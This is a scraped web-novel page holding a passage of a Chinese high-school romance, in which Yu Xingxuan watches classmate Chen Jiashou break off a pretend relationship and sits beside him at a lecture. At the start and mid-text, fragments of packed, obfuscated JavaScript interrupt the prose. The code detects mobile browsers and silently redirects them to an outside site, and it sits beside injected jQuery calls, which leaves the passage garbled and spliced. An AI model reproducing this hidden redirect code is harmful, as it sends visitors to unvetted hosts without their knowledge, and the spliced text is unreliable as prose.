l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818983|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,就代表她和陈嘉授男女朋友的身份到此为止。 但不知为什么,她不回复,陈嘉授也没再催促。这也让沈艺棠心底始终存着一丝希望,觉得陈嘉授会不会也对她有好感,所以才愿意跟她耗着。 直到上周五,她这些天第一次见到陈嘉授,这才知道,陈嘉授前段时间没找她,是因为学校军训提前开始,他又是班长,忙得顾不上这些。 她察觉到陈嘉授想面对面对她说那些话,所以搬出薛虹的状况,想能拖一时是一时。 沈艺棠不是不知道陈嘉授不喜欢她。 她只是不甘心。 她空有陈嘉授女朋友的名号,可陈嘉授跟她,甚至连一个牵手和拥抱都没有。 “陈嘉授,我这次是因为……” 二班许多人探头朝外看,陈嘉授打断了沈艺棠说出一半的借口:“换个地方说话吧。” … … 风铃摇动。喻星旋暂时放下笔,从试卷中抬起头。 看到店里来人的那一刻,她表情像是被冻在脸上。 沈林风,陈嘉授,一个面生的男生。 以及跟他们一起的女生,上周五她刚刚见过。 沈林风和沈艺棠径直走向里面的卡座。 而陈嘉授,和另外那个男生,却明显注意到了柜台后的她。 喻星旋正迟钝地想着他们怎么会到书吧来,陈嘉授就已经走近。 他没想到在这儿看到她,目露一丝诧异,点了点头算是打招呼,却也没有停留地,目视前方从她面前走过。 另一个男生却停下,一条手臂搭上柜台。 他的皮肤是健康的麦色,块头高壮,笑起来露出一对洁白的虎牙,笑眯眯地问她:“同学,我是三班的白峥,开学典礼那天是你吧?你叫什么名字,咱们能不能交个朋友?” “喻星旋。” 白峥的态度直白而殷勤,虽然不令人讨厌,但喻星旋从不是个有问必答的人。 更何况,她现在几乎没法对别人分出任何心思。 喻星旋视线投向那个绿植覆盖的卡座,看到陈嘉授正跟他女朋友坐在同一侧,沈林风也频频朝这边回头。 喻星旋提醒面前的人:“你朋友是不是在等你?” “差点忘了。”白峥拍了拍脑袋,“我等会儿再来找你聊天!” 过了会儿,白峥又来找她。这次是带着点单的任务来的,他们好像要谈什么事情,白峥点了几杯饮料后就马上回去了。 喻星旋忍住那种喘不上气的感觉,提笔在试卷的空白处写下物理符号。 晓婷姐不知什么时候晃到她身边来,语气似乎了然一切:“同学?” “刚才点单的那个?”喻星旋以为她问的是白峥,“不是。” “没说他,我说的是最帅的那个。” 喻星旋抬起头来,眼睛一眨不眨,像是要用力地记住这一幕,一直到眼眶发酸。 她“嗯”了一声,埋头继续写卷子。 黄晓婷像是猜出了她心思,继续逗她:“你们这个年纪的小女生,应该有不少人对他有意思吧?” “……”喻星旋不知道她究竟还要对别人解释几遍,“他有女朋友了,旁边的就是。” 说得多了,她也有点分不清,她一次次地强调,究竟是告诉别人,还是提醒自己。 黄晓婷促狭地眨眨眼,猝不及防问她:“那你呢?” “我……” 喻星旋没来得及回答出声,因为忽然之间,前方传来一声桌椅摩擦地面的巨响。 喻星旋猛地抬头,看到沈艺棠气冲冲地往外走。而那个靠窗的卡座边,陈嘉授站着,脸色很不好。 桌上一个翻倒的饮料杯,和一叠全被饮料浸湿的试卷。 刚刚发生了什么不言而喻。 喻星旋第一次上班就碰到意外,有些手足无措。 黄晓婷第一时间过去处理,对她说:“保洁姐姐不在,闪闪,你帮我把拖把拿过来。” 喻星旋过去的时候,晓婷姐已经给他们换了张干净的桌子。她刚好听见陈嘉授对沈林风说:“你去看着她,别让她出危险。” 明明生气跑出去的是沈艺棠,喻星旋却不知生起了哪门子气。 黄晓婷和白峥跟她要拖把,她一概装作没听见,负气一般地擦起了地上的饮料污渍。 下一秒,手里忽然一空,拖把被人从旁夺走。 他似乎总是喜欢强势地表示好意,不顾别人想不想接受。 借给她校园卡也是,帮施秦心肺复苏那次亦然。 陈嘉授拖完一遍,又去水池里涮了拖把。直到把地面拖得干干净净,这才没什么反应地开口:“给你们添麻烦了。” 就像刚才的一切没有发生过。 喻星旋心情复杂地看了眼窗外,声音很低:“……你不追?” 听不出一丝后悔或是犹豫,陈嘉授靠回椅背,双手抱臂反问:“为什么要追?” 12. 想不通 . 陈嘉授的语气,理所当然得就像提起一个陌生人。 喻星旋试图从他脸上捕捉到一丝别的情绪,可却只有淡漠、事不关己。 她张了张嘴,忽然什么都说不出来了。 她被他撞破塞纸条的那次,他拒绝她时也是差不多的态度。那时她对他而言只是个陌生人,但就算是对女朋友,他也依旧高高摆着架子。 喻星旋沉下脸,转身回柜台。 “……你别误会。”白峥追上她,“其实他们是——” “老白。” 白峥刚想解释,就被陈嘉授制止,像被施了封口令,剩余的话也没能说出来。 喻星旋纤薄的身形一晃,给了听他解释的机会,却迟迟没听到下文。 她没有回头,加快步伐离开了。 没过多久,白峥的大嗓门响起:“阿授你去哪?” “回家。难道你想一直在这儿待下去?”陈嘉授站起来,晃晃手机,“老沈已经追上她了。” 白峥松了口气,背起书包来跟上:“那就好那就好。” 喻星旋没忍住,从柜台上的几盆多肉的空隙中悄悄往外看,两个男生一前一后,从她面前路过。 陈嘉授目不斜视,甚至朝柜台后看一眼都没有。 白峥停在柜台前,对她打了声招呼:“那,我们就先走了?” 喻星旋收敛起一瞬涌上的酸涩:“好的,路上小心。” 白峥犹豫片刻:“你平时都在这儿做兼职吗?” “我只有周五在。” “那说好了,以后周五我一有空就来照顾你生意!” “谢谢,但是……” 一门之外,陈嘉授站在自己的那辆山地自行车旁,似是已经没了耐心。白峥怕他抛下自己先走,连忙出门追上:“喂阿授,等等我!” 离开书吧有一阵后,白峥才问陈嘉授:“你刚才拦着我干嘛?” 陈嘉授只扔下四个字:“保密协议。” 薛虹被医院确诊双向障碍,当初出于治疗的特殊需要,心理医生曾把薛虹的情况告诉他们。 但这些信息属于薛虹的隐私,他们几个签了保密协议,对外人必须保密。 “有没有搞错啊大佬,你都被人误会是个气跑了女朋友还无动于衷的渣男了,还管什么保密协议?再说就算我告诉她,薛虹也不会知道。” “误会就误会吧,还省得麻烦。” 白峥没听懂:“什么意思?” 陈嘉授的声音被迎面扑来的风吹散开:“有个事情我还是得给你打个预防针,书吧收银的那个女生,刚开学那会儿给我塞过纸条,约我见面。” 白峥的车子“嘎吱”一下停住。 陈嘉授缓缓地看了他几秒钟,这才接着说下去:“她说是帮别人约我,纸条上的字也确实不是她的。但我到了地方,也没看到人。” 白峥反应过来:“你的意思是,是她自导自演?” 陈嘉授顿了下:“开始我确实这么觉得。” “……后来呢?” 陈嘉授没出声,似乎也在思索。 他对喻星旋的看法转变,并没有一个具体的时机。 除了那次塞纸条被他撞见,她甚至没有主动找过他。 但若是说喻星旋的冷淡有对他欲擒故纵的心思在,亲眼目睹他的分手现场,喜欢他的女生该觉得有机可乘。谁会像她一样当场给他摆脸色,不知道的还以为被分手的是她不是沈艺棠。 陈嘉授最终还是没有跟白峥说这些,扯了个其他理由:“上次帮她给我们班一个男生做急救,其实她跟那个男生也不熟,但还是愿意主动站出来。” 白峥还不知道还有这一层,怔了怔,问陈嘉授:“那你为什么帮她?” 陈嘉授面色一沉。 他到现在都想不通,那天他帮了她,她非但不感激,甚至连个谢字都没有。 陈嘉授嗓音凉凉的像下过雨,听不出几分好气:“谁知道,我脑子有病。” 这怎么还自己骂上自己了。重新蹬起车子,白峥换了个话题:“你跟棠儿就这样了啊?” 上周六,陈嘉授和沈林风、沈艺棠又去医院看望了薛虹,她又恢复了以前的状态,绝食,不吃药,眼神空洞地坐着,谁的话也不听。就连看见陈嘉授,她都没有什么情绪波动了。 明眼人都能看出,再重复上次的方法毫无效果。但今天沈艺棠还是非要跟他们商量对策,说既然帮了人就要帮到底。 话里话外,都是她和陈嘉授还不能对外说分手的意思。 沈林风和白峥都看着陈嘉授的脸色。 他端起咸柠七,慢条斯理地喝了一口:“薛虹的事,你以后不用操心了。” 沈艺棠不同意:“我们帮人都帮到这里了,阿授,你要半途而废吗?” “我爸已经托人在京市帮她找了专家,一定比之前的靠谱。这周薛虹就可以转院,不过以后,她就要在京市治疗了。” 白峥和沈林风纷纷吃惊:“什么时候的事,你居然不告诉我们!” 陈嘉授看着完全僵住的沈艺棠,说出的话如同致命一击: “我知道你是什么心思。我从来不觉得我和你是男女朋友,如果你硬要这么觉得,我刚才说的那些,你也可以当成是我要跟你分手。” 他打定了完全不留情面。 就算是作为陈嘉授的朋友,白峥和沈林风都觉得他这话说太重了。正打算说点什么缓和气氛,下一秒,沈艺棠猛地站起来,哭着跑了出去,动作间饮料被打翻,陈嘉授的作业跟着遭了殃。 没想到陈嘉授居然连追一下都不愿意,第一反应是扯了几张纸巾擦他的试卷。 白峥怀疑,陈嘉授对沈艺棠甚至不如对他的作业重视。 “不过话说回来,你眼光未免也太高了,棠儿从小就是校花,你把人伤成这样,她什么时候受过这种委屈。” “校花怎么了。”陈嘉授斜睨白峥一眼,“你喜欢?” 白峥连连摆手:“别。漂亮女生心气儿都高,不过我不是针对棠儿哈。我喜欢的是那种小家碧玉型的,有点温柔又有点害羞,善解人意、脾气好的女生。” 小家碧玉。温柔害羞。 善解人意。脾气好。 这四个词,他就想不到有哪个字跟喻星旋沾边。 看来不仅是他脑子有病,白峥也该去看看眼科。 “具体点。” “……我觉得喻星旋就不错。”白峥挠挠头,不好意思地说,“而且看今天这样,人家其实对你没意思,八成是你误会了。” 两个人在路口等红灯。白峥说完,回答他的只有沉默。 “授,你说呢?” 陈嘉授拍拍白峥的肩,似笑非笑:“行,那你试试。” 左转的交通灯变绿,陈嘉授对白峥挥了挥手,蹬下踏板,二人就在这里分开。 喻星旋在书吧待到了晚上九点,帮黄晓婷一起收拾关店,坐上她的车一道回家。 一路畅通,车窗外的城市已经沉浸在夜色里。 晓婷姐调低了车里广播的音量:“心情不好啊?” “没有。” “因为今天那个男生?” “……”都说了没有,喻星旋喉咙一哽,她怎么总是选择性失聪。 黄晓婷探究地问道:“他是吵架了?分手了?你有机会了,应该觉得高兴才对啊……” “晓婷姐。”喻星旋正色,“就算他有一天真的喜欢上我,我也不会跟他在一起的。” “为什么呢?” 喻星旋咬了咬下唇:“他谈过恋爱,我嫌他不干净。” 黄晓婷哈哈大笑,整个车里都回荡着她爽朗的笑声:“你们高中生现在都玩这么大了?” “不是。”喻星旋被她笑得有点窘迫,她根本没考虑到那一层,“我接受不了我以后的男朋友喜欢过别人。” “而且这也不是最重要的。” 她顿了顿:“重要的是,他对感情高高在上,很不用心。” 黄晓婷挑眉,另辟蹊径地想到另一种可能:“不是正好吗?不用心说明他不喜欢这个女生,你抓紧时间,让他早点喜欢上你,没准他以后就不会再喜欢别人了。” “……我不在乎他喜不喜欢我。” 喻星旋望着窗外,有些黯然地开口,“我只是觉得,他能这么对一个人,当然也能这么对其他人。” 说话间,黄晓婷的车已经停到奶奶家楼下。 喻星旋下车前犹豫了下:“晓婷姐,今天我跟你说的话,你先别告诉祝祝。” 黄晓婷做了个嘴拉拉链的手势,答应了帮她保密。 这个周末,喻星旋从没觉得过得如此漫长。她倒是期待着李安蓝主动跟她分享点什么,但两天过去了,她的手机都四平八稳,一动不动。 她也从没有像现在这样,期待着周一开学,等第一节早自习后,收全班的物理作业。 只是这次,当她收到陈嘉授和沈林风那排时,陈嘉授并不在位置上。 沈林风:“他去接水了,收什么作业,我帮你找找。” “上周五发的两张物理试卷。” 沈林风从陈嘉授的一个大的试卷夹里找到需要的试卷,连同自己的一起交给喻星旋,伸了个懒腰:“困死了困死了,喻星旋你继续收,我先睡会儿。” “等等,他没写……” 喻星旋话还没说完,沈林风头已经埋到了桌上。 卷子皱皱巴巴,明显在水里浸过,应该是周五被打翻的那杯咸柠七的杰作。 喻星旋看着陈嘉授的试卷左上方的空白区域,睫毛眨了眨。 片刻后,她拿起陈嘉授桌上的笔,在那里写下他的名字。 写好后,喻星旋迅速看了一眼,卷面上是两道浓淡分明的字迹。一道是轻盈且暗藏筋骨的,另一道则明显下笔更重,笔锋明显,气势万钧。 她先前从没留意过陈嘉授写字,他的字似乎比他的人张扬得多。 不过,只是写个字而已,也不代表什么。 写他的名字也是。 试卷收齐,第二节早自习差不多也开始了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818984|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一节是晨读课,喻星旋拿出语文书,听到李安蓝的声音突兀地闯进耳朵:“我这儿有个最新情报,听不听?” 商芝琳迅速转过身来:“什么什么!” “陈嘉授好像跟他女朋友分手了。” “你听谁说?” “我认识沈艺棠的朋友说的啊,沈艺棠失恋之后跟她诉苦,还说什么陈嘉授用完就丢之类的,颠三倒四的,反正我朋友也没听懂。” “啊?为什么啊,上周五沈艺棠不是还来班里找他吗。” “这就不知道了,她也不肯说。” 商芝琳向后趴在李安蓝桌上,这个角度刚好可以看到靠门的最后一排。 男生低着眸看书,侧脸冷白,脊背挺拔,丝毫不像是分手后那种精神不振的颓唐模样。 商芝琳咋舌:“分手了都这么不受影响吗,不愧是陈嘉授。” “那么快走出来,我看陈嘉授也没那么喜欢他这个前女友嘛。”李安蓝故弄玄虚地叹口气,“唉,也不知道陈嘉授能看上什么样的。” “谁知道呢,人家是青梅竹马,这才近水楼台。其他人更别想了。” “不过我真挺好奇的,你说下一个会是谁呢?如果陈嘉授跟我们学校的女生谈,那女生估计会被全校围观的吧。” 喻星旋努力屏蔽掉身边的声音。 她从前不明白为什么那么多人对他趋之若鹜,但现在好像懂了。 能跟陈嘉授分手,也会被有些人视为一种荣耀。 至于分手后会不会成为别人的谈资,其实是许多人的求之不得。 这天放学前,王世富宣布了高一从明天开始增加了晚自习的事情。住校生必须参加,走读生则不强制。 周二下了晚自习,跟祝媛结伴回家的路上,喻星旋听她提到了六班班花的名字。 祝媛和秦雅书可谓是积怨已久。 军训那会儿,祝媛评了标兵,秦雅书没评上,就到处造谣说是祝媛抢了她的奖,还拉着她的姐妹团一起孤立祝媛。 好在祝媛心大,不觉得受伤,但自此之后,她也开始见缝插针地挤兑秦雅书。 “你知道她那班花怎么来的?我们班那群无聊的男生选班花,在她和另一个女生中间选,她为了选上,居然还请我们班男生吃饭!无语死了!” 祝媛说这话的时候,嘴巴都要撅到天上。 “她今天不知道听谁说你们班那个陈嘉授刚分手,跟全世界男的都死了似的,马上就上楼去跟人表白了。” 喻星旋不小心踢到一块小石子。石子在地上弹跳了几下,她不经意地打听:“我不知道,什么时候?” “就今天啊,晚自习开始前。” “哦。那他答应了?” “怎么可能啊,人家连她叫什么都不知道。”祝媛仍旧没有对她起疑,幸灾乐祸道,“她回班还跟那群小姐妹放狠话呢,说迟早有一天要把陈嘉授拿下,求求她可别再招笑了……” 得到这个答案,喻星旋悬着的心暂时放下。 可随之而来的,是一种既轻松又窒息的矛盾感,像藤蔓一样缠了上来。 好的是,陈嘉授现在单身了,她对他近似窥视一般的关注,再也没有了罪恶感。 可坏的是,他仍旧随时都有可能接受别人的追求。 “祝祝,如果有一天你遇到一个各方面都让你满意的人,你会想跟他在一起吗?” 祝媛随口说道:“当然了,有钱不捡是傻子。” “那如果他身上,有你接受不了的点呢。” “要看具体是什么,杀人放火、家暴出轨,这种就让他有多远滚多远好吧。” 喻星旋担心再说出其他细节,她的心事即将被祝媛解码。她有些后悔不该接在陈嘉授被表白的话题后丢出这个问题,自觉失言地把这一页揭过去。 她忽然觉得自己也挺不可理喻的。 看不得陈嘉授一边谈恋爱,中考排名却在她之前。 更看不得自己,既不想承认对他有好感,羞于让任何人知道;也做不到像施秦那样,立场坚定地讨厌他。 … 一晃时间就来到周四。 下午的最后一节自习课,学校请来高二高三的学长学姐,给高一年级前50名同学举办了一场经验分享讲座。 喻星旋去老王办公室领今天的物理作业,发完作业才被李安蓝提醒去开会,她拿上作业和笔记本,急匆匆地赶去多媒体教室。 赶到时已经迟了,中间的位置都已经坐满,施秦身边也有人。 喻星旋不想坐在最前面,就直接走到了后门边坐下。 前排是成片的蓝白校服,喻星旋视线扫过去,却失了焦。她又仔细地分辨了一遍每个人的后脑勺,确定了陈嘉授不在其中。 还没等她想明白,陈嘉授是没来,还是出去了。下一秒,她身边椅子被人拉开。 一只戴着手串和手表的左手虚虚搭在椅背上。 陈嘉授微微躬身,虽然是征询,却并不是商量的语气。 “这儿没人吧。”顿了两秒,他问。 13. 十指紧扣 . 喻星旋胸口重重一跳,只来得及看清他的手,视线就像触电一般飞速躲开。 她努力控制着表情,装作根本没看清是谁,也不在意身边坐谁,低声回答:“没人。” 椅子拖拽的声音响起。 喻星旋大脑空白的状态持续了几秒,才觉得自己的心跳后知后觉地扩散开。 她盯着面前的笔记本,用了很久才消化掉陈嘉授坐在她身边的这份震惊。 讲台上,一位高二的优秀学姐已经就位:“学弟学妹下午好,下面由我来给大家分享我进入高中以来的学习心得……” 喻星旋深吸一口气,打定主意不再胡思乱想。 可偏偏事与愿违。一抬头,视野倏然放大,陈嘉授左臂屈起搁在桌面上,一截衣袖突兀地逼入她的眼帘。 他对讲座兴趣缺缺,隐约能看到他面前摊开一张试卷,隔几秒钟就听到落笔的声音,像是在勾画答案。 沙沙的写字声,比讲台上话筒里的声音还让人难以忽视。 喻星旋心头掠过一丝烦躁,注意力在他坐到身边那一刻就开始溃不成军。 她用行动表达了自己的不满,把桌上自己的东西全都挪到左侧,肩膀几乎要贴到墙上,恨不得离陈嘉授十里地。 而后,又故意皱着眉瞪他一眼。 却不知道陈嘉授什么时候已经停下笔,在撞上她视线时,意味不明地扯了扯唇。 喻星旋像被他的目光烫了下,却仍旧不服输地迎上去。 几秒钟后,陈嘉授开口叫她名字:“喻星旋。” “啊?” 陈嘉授指尖敲了敲他们中间的一大片空白区域:“你干脆在这儿划条三八线得了。” “位置窄,你坐过来我太挤了。”听他这么说,喻星旋又往里面挪了挪,“前面那么多位置。” “你不是觉得挤。”陈嘉授语气幽凉,直白地拆穿她,“你是对我有意见。” 喻星旋忽然产生了一种诡异的满足感,尽管并不明白是从何而来。她不再看陈嘉授,视线转向台上,而后低头记起了笔记,埋着头淡声道:“没有,你想多了。” 下一秒,她手里的笔再度被人抽走。 喻星旋“嘶”了声,猛地扭头,压低声音:“你怎么又来这一套?” 陈嘉授视线扫过她的脸,忽地定住。 她平日里,上眼睑总是微微垂着,十足冷感且不好接近。而现在却因为错愕眼睛瞪圆。陈嘉授黑眸闪烁了下,第一次近距离地看清楚她的五官—— 睫毛很长,根根分明,自然地往下垂落,浅浅的阴影盖在眼睑上。 她鼻梁挺拔,有道不明显的驼峰,鼻尖缀着颗颜色很淡的小痣。 无端的,之前在许多人口中听到的喻星旋,此刻终于拼凑成一个完整的、眼前的她。 这一刻,他脑海中闪过的第一个念头,居然是白峥眼光确实有问题。 这么阴晴不定,难以捉摸的性格,烫手山芋还差不多,他居然觉得对方是什么小家碧玉。 但她不说话的时候,宽大校服笼罩着纤薄的上身,整个人如同一片薄荷味的玻璃糖纸,若有若无的沁凉。 又单薄得有些脆弱。 陈嘉授的胸口像被一根羽毛轻轻划过。 这感觉很莫名,他喉咙紧了紧,蓦地忘了自己想说什么。 他有些不自在地别开视线。 喻星旋半天没等到回答,他或许是懒得跟她僵持下去,把她的笔放回她面前。忽然不再搭理她。 “……” 而很快,喻星旋的错愕变成了迷惑。 陈嘉授居然主动退让了,调整了椅子的位置,自己坐到了右侧,给她留出绝对充足的空间,然后把脸别到另一侧趴下。 什么意思?喻星旋缓慢地眨了下眼睛,陈嘉授忽地又转头朝向她:“我睡会儿,帮我看着点儿老师?” … “以上就是我的经验分享,学弟学妹们如果还有问题,欢迎随时来高二(1)班找我……” 讲台上,高二学姐的分享已经结束。 在前方传来的掌声中,喻星旋的思绪终于稍稍回笼。 随后,高三的学长也走上讲台。 喻星旋手撑着腮,视线越过陈嘉授,看会议室另一侧的窗外艳丽的晚霞,鼻息间,似乎盈满了他身上好闻的松木气息。 她重新低下头,笔记上是学姐刚刚分享的内容。 不知怎么,她的字体散乱成了一堆难以拼凑的笔画。 陈嘉授一直睡到了散会。 喻星旋合上笔记本,一抬头,就看到几个男生站在陈嘉授身边的过道上,你推我我捅你,却好像都怵伸手拍醒他。 他们也是今天来参会的人。喻星旋忽然想起,在这之前,陈嘉授在学校超市借她校园卡的那次,这几个男生也跟他一起。 喻星旋收拾好东西站起身来,犹豫了一下,没打算叫醒他,想推开身后的桌子直接出去。 推了两下都没推动,原来是桌脚的轮子固定在了地面上。 于是她轻轻推了推陈嘉授肩膀。 意料之中,感受到了明显的骨骼的温度,喻星旋手指蜷了蜷,见他还是没反应,她又推了一下。 “同学你……” 似乎听见那群男生中有人倒吸了口凉气。 喻星旋正抬眼辨认这道声音来自谁,陈嘉授已经缓缓直起身,眼底是明显被压下去的火气。 他坐着,她站着。喻星旋收回手:“我出去一下。” 陈嘉授视线停留在她脸上好几秒,看到她居高临下,理直气壮的,忽然无言地乐了。然后他极快地收起笑,起身让她过去。 “……” 女生从后门离开,刘沐觉得自己的眼镜都要被刚才这一幕震碎。他捅捅身边的彭骏一:“我刚才看到了什么?你快掐我一把。” 彭骏一:“还用你说,我还没瞎好吧。” 熟悉他的都知道,陈嘉授这人,平时装得欺骗性十足,其实一身的少爷毛病。 又是洁癖,又有起床气,还烦别人没边界感地碰他。这也不行那也不行,反正难伺候得很。 “授,我还寻思你这起床气的毛病这辈子也治不好了。” “我没看错吧,你怎么坐一姑娘旁边啊?” “别说是因为没位置,我看空位可多。” …… 朋友们的问题接二连三,陈嘉授面无表情地听着,不表态,却也没制止。他把试卷折成方块,塞进校服口袋,直接越过他们一群人往后门边走。 他这装聋作哑的态度实在是稀奇。刘沐追上他,贼贼地一笑:“听说你跟沈艺棠分了?” 简直明知故问。这几个朋友当初跟他们一同策划了沈艺棠表白的戏份,谁不知道他们根本就没谈过。 知道他们故意挤兑自己,陈嘉授视线依次扫过他们几个,淡淡地威胁:“别让我知道你们去人面前多嘴。” “哎呦,你怎么不答前面的问题?” 陈嘉授低声骂了句滚,但表情却不像那么回事:“还得寸进尺上了?” 那群朋友一个比一个来劲:“你不说,我们就当你故意的咯。” 确实是故意的。小陈总从小到大都没被人这么无视过。 再加上上周五放学,跟白峥聊过之后,他忽然很好奇喻星旋到底对他哪儿来这么大意见。今天刚好来晚了从后门进,一眼就看到她一个人坐着。抱着想给她找点不痛快的想法,陈嘉授破天荒地主动刷起了存在感。 却发现哪怕他坐到她旁边了,她还是没什么反应。当他是陌生人、是空气。 朋友们嘻嘻哈哈:“他都不反驳,看来是承认了。” “承认你大爷。”陈嘉授就近给了一个朋友一肘,“看不见正想事儿吗?” “想什么事啊?” “想,”陈嘉授话音一顿,带着几分若有所思,“一道难题。” … 喻星旋从多媒体教室离开后就去了食堂。她端了碗面坐下,没留意四周,不多时,一个女生端着餐盘,来到她对面的空位。 喻星旋抬头看了她一眼,似乎有点眼熟,但她并不认识。 她不明白四周这么多空位,这人为什么非坐她对面,端起面碗站起来,想换个位置。 “哎,你是二班的喻星旋吧?”女生看她要走,连忙叫住她,“我是六班的刘雪菲,刚才也在多媒体教室开会。” 喻星旋终于想起在哪见过。这人是秦雅书的几个小姐妹之一,她去六班找祝媛时应该也碰到过几回。 祝媛跟秦雅书有仇,她对秦雅书的朋友自然也没有什么好脸色:“有事吗?” “没什么事,就是想问你,你跟你们班的陈嘉授……关系很好?” 刘雪菲神色鬼祟,眼底透着隐隐的探究。 喻星旋不动声色反问道:“你是自己想问,还是帮别人问?” 刘雪菲有些尴尬地搬出了秦雅书:“我是帮我闺蜜问的啦,她最近听说陈嘉授分手了,正打算追他。” “一般。”被人直白地问心事,喻星旋有些没底气,为了增加些说服力,表情不由自主变得严肃,“而且跟我有什么关系?” “刚才看他主动坐到了你旁边……” “他是图方便。” 硬邦邦地撂下这句,喻星旋端着面碗转了个身,坐到过道另一侧的空位上。 背对着刘雪菲,夹起一筷子面条,喻星旋忽然开始发愣。 她心猿意马了一整节课,却忽视了一个最关键的问题。 陈嘉授为什么会坐到她旁边,真的只是巧合,或者是图方便吗? 比起这个,喻星 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喻星旋看到自己走了过去,用抹布擦着桌面上打翻的饮料,忽然,一只灼热的手伸过来,烙铁一样钳制住她的手腕。 喻星旋动弹不得,他稍一用力,抹布就从她手里跌落,随后,陈嘉授手掌下移,沿着她的手背、指尖,一路向下,最后五指强势地挤进了她的指缝。 他当着沈艺棠的面,跟她十指紧扣,她怎么都挣脱不开。 梦里的喻星旋一句话都说不出来。陈嘉授牵着她,轻慢地对沈艺棠说:“随便,有的是人替你。” “……” “你挣扎什么。”陈嘉授缓缓转过来面对着她,“你偷看我多少次了,以为我不知道?” “……” 喻星旋大汗淋漓地醒来,迷蒙中盯着天花板,不知身在何处。 窗外滴滴答答地下起了雨。不知是被雨声吵醒,还是被这个梦惊醒。她拿起表一看,才五点多。 但她睡不着了。 喻星旋索性爬起来刷了一套卷子,好不容易平复了心情。早早地洗漱,背起书包出门。 但是当她第一个到教室,下意识地把目光投向后门边最后一排时,心底好像有什么高高筑起的东西轰然坍塌了,只剩失望和自我厌弃。 这怎么会是她做的梦? 她又是什么时候开始,关注他到了这种程度? - 十一假期在即。周五,是假期前的最后一天。 最后一节自习课前,喻星旋去物理办公室领假期作业。 办公室热闹得像赶集,但她几乎刚走到门边,就听到了老王的声音,和一个梦魇一般的名字。 “陈嘉授,你家里人打算让你走自主招生吗?” “目前还没有这个打算。” “你母亲是长南大学物理系的教授,走个物理竞赛还不是轻而易举。” “……” 陈嘉授不愿多说,委婉地结束话题:“家里支持我以自己的意愿为主。” “你慢慢考虑,竞赛高二才开始准备,回头我再问问课代表她们的意思。”王世富一抬头看到她,“喻星旋,你来得正好,竞赛的事你怎么想?” 喻星旋咬咬下唇,像是在跟身边的男生较劲:“我想试试。” “好,有志气。陈嘉授,人家女生都愿意挑战一下自己,就你不行是吧?” 陈嘉授眉梢扬了扬,理直气壮道:“不是不愿意,老师,我平时很忙的。” “去去去,”老王开始挥手赶人,“再忙能有多忙。” 这个假期的物理作业光是试卷就有五六张,还有全班的错题本,抱在怀里厚厚的一摞。 “帮你?” 低冽的声音响在耳边,喻星旋肩头颤了颤,克制住了回头的冲动,客气地摇了摇头:“谢谢,不用。” 被她拒绝过之后,陈嘉授再没开过口。 喻星旋闷头走路,一路无话地回去。几次想开口都憋住了。 他能忙着干嘛。 不就是忙着谈恋爱吗。 国庆七天假期,想到接下来的七天再也看不到陈嘉授的背影,仿佛触底反弹一般,失落感后知后觉地漫上心头。 必须承认有些机会的确是转瞬即逝的,就算她看不上也是如此。 最后一节自习下课,假期也真正开始了。喻星旋走出校园,照旧去书吧做兼职。 今天晓婷姐不在,放心地把前台交给了她。 送走几个过来下单的顾客,喻星旋打开书包,拿出铅笔盒和作业。 店门口风铃发出一串清脆的响声,喻星旋毫无心理准备地抬眼。 看清一前一后走进书吧的两个人,她瞳孔骤然缩紧,冷汗涔涔地冒出来。 14. 高傲的罪名 . 喻星旋像是回到了早上那个梦里。 但又跟上周五不同,这次,只有陈嘉授和沈艺棠两个人。 他们单独来了。 没有一丝预兆,像是烈风刮过原野,吹得喻星旋眼眶又干又疼。 沈艺棠一蹦一跳地经过柜台时,宛若银铃的清甜嗓音传来,说着没有前因后果、只有她和陈嘉授心照不宣的话:“我不管啊,你答应了我的!” 陈嘉授关上玻璃门,不紧不慢地跟上:“我说的是看情况。” 门外的夕阳和店里的白炽灯给他笼上一层淡金色的光。陈嘉授朝着靠窗沈艺棠占好的桌边走去,很淡的一个眼神,落在喻星旋身上。 对视的瞬间,喻星旋眼前像有道电流闪过,然后微弱的噼啪一声,脑海中某个角落,灯熄了。 离开校园,他们本来就不存在任何交集。 她甚至不知道,他和沈艺棠,是根本就没有分手,还是后来又和好了。 喻星旋掐了掐手掌的软肉,无力又茫然,坐着发了会儿呆。 她不能再分心了。 她的人生跟陈嘉授不同,没有功勋级别的长辈,也没有能为她的竞赛保驾护航的家人。他就算不考第一仍旧是成功者,而她离了引以为傲的成绩没有任何资本。 喻星旋深吸一口气,用力把试卷展平,埋头开始做题,竭力控制自己不要抬头。 做题于她而言,是最有效地平静下来的方式。 她用二十分钟收割掉选择填空,翻了个面开始做大题。这时,柜台上方传来动静。 沈艺棠笑吟吟地望着她:“同学,你好认真呀。” “……”她确实漂亮开朗,喻星旋想,如果自己是个男生的话,大概也不忍心跟她分手吧。 喻星旋放下笔:“你好,请问需要点什么?” “要一个香草玛奇朵,再要一个蓝山咖啡。” 喻星旋接过她递过来的50元纸钞:“一共42,找您八块,小票您拿好。” 直到沈艺棠回去,喻星旋强压下去的紧张才冒出来。她习惯性检查了系统的点单记录,猛然发现输错了产品。 可能是刚刚沈艺棠忽然出现让她心绪不宁,她把蓝山咖啡选成了馥芮白,多收了她两块钱。 喻星旋硬着头皮,极不情愿地挪过去。她一眼都不想看陈嘉授,双手把钱递给沈艺棠:“不好意思,刚才输错产品了,蓝山咖啡是21块,多收的两块钱找您。” 沈艺棠还没接那钱,她旁边的桌沿被人叩了叩,紧接着是一道熟悉的冷冽嗓音,带着点兴味和探究:“找错人了。” 喻星旋敌意明显:“什么意思?” 陈嘉授扬眉:“钱是我付的。” “……” 这算什么,迫不及待地对别人宣扬他们的关系吗?还强行拉她当观众? 喻星旋忽然有种被戏弄的愤怒,把钱放在桌上,转身就走。 